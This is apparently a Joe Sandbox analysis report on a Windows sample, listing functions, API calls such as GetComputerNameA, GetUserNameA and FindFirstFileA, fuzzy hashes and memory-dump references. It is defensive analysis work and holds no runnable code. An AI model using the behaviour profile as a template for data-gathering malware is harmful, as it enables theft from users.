Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: b48b0247ea43150a192ac77ed7b2bb6e1d9a4a8f5c280d30322d4e552ef07207
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: b48b0247ea43150a192ac77ed7b2bb6e1d9a4a8f5c280d30322d4e552ef07207
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 614745ce6515f2d76fea134ae1687ff30582ff33f04f3a7d17a5bae85185e1b4
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 614745ce6515f2d76fea134ae1687ff30582ff33f04f3a7d17a5bae85185e1b4
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 74ac35eab5a05a0d986ff70ec639667519167ec248c82c674db35ebe36213a53
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: 74ac35eab5a05a0d986ff70ec639667519167ec248c82c674db35ebe36213a53
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,02679438), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 129850b5d2f275a351fed680d92c083f50d225a6d08bec1a346a19f631c1447b
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: 129850b5d2f275a351fed680d92c083f50d225a6d08bec1a346a19f631c1447b
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 556a7a6c9be2d053d607ba92e7c834e3128791a2465422ba457eb21d59b8c603
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 556a7a6c9be2d053d607ba92e7c834e3128791a2465422ba457eb21d59b8c603
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6C6F5440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C6F5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6F54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6F54BE
__Init_thread_footer.LIBCMT ref: 6C6F54DB

Part of subcall function 6C71AB3F: EnterCriticalSection.KERNEL32(6C76E370,?,?,6C6E3527,6C76F6CC,?,?,?,?,?,?,?,?,6C6E3284), ref: 6C71AB49
Part of subcall function 6C71AB3F: LeaveCriticalSection.KERNEL32(6C76E370,?,6C6E3527,6C76F6CC,?,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C71AB7C

Part of subcall function 6C71CBE8: GetCurrentProcess.KERNEL32(?,6C6E31A7), ref: 6C71CBF1
Part of subcall function 6C71CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6E31A7), ref: 6C71CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6F54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C6F5516
GetCurrentThreadId.KERNEL32 ref: 6C6F556A
AcquireSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C6F5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C6F5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C6F5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6F55E6
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C6F5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6F5616

Part of subcall function 6C71AB89: EnterCriticalSection.KERNEL32(6C76E370,?,?,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284), ref: 6C71AB94
Part of subcall function 6C71AB89: LeaveCriticalSection.KERNEL32(6C76E370,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C71ABD1

GetCurrentThreadId.KERNEL32 ref: 6C6F563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6F5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C6F567C
free.MOZGLUE(?), ref: 6C6F56AE

Part of subcall function 6C705E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C705EDB
Part of subcall function 6C705E90: memset.VCRUNTIME140(ewtl,000000E5,?), ref: 6C705F27
Part of subcall function 6C705E90: LeaveCriticalSection.KERNEL32(?), ref: 6C705FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6F56E8
GetCurrentThreadId.KERNEL32 ref: 6C6F5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C6F570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C6F5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C6F574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C6F576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C6F5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6F57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6F57CA

Strings

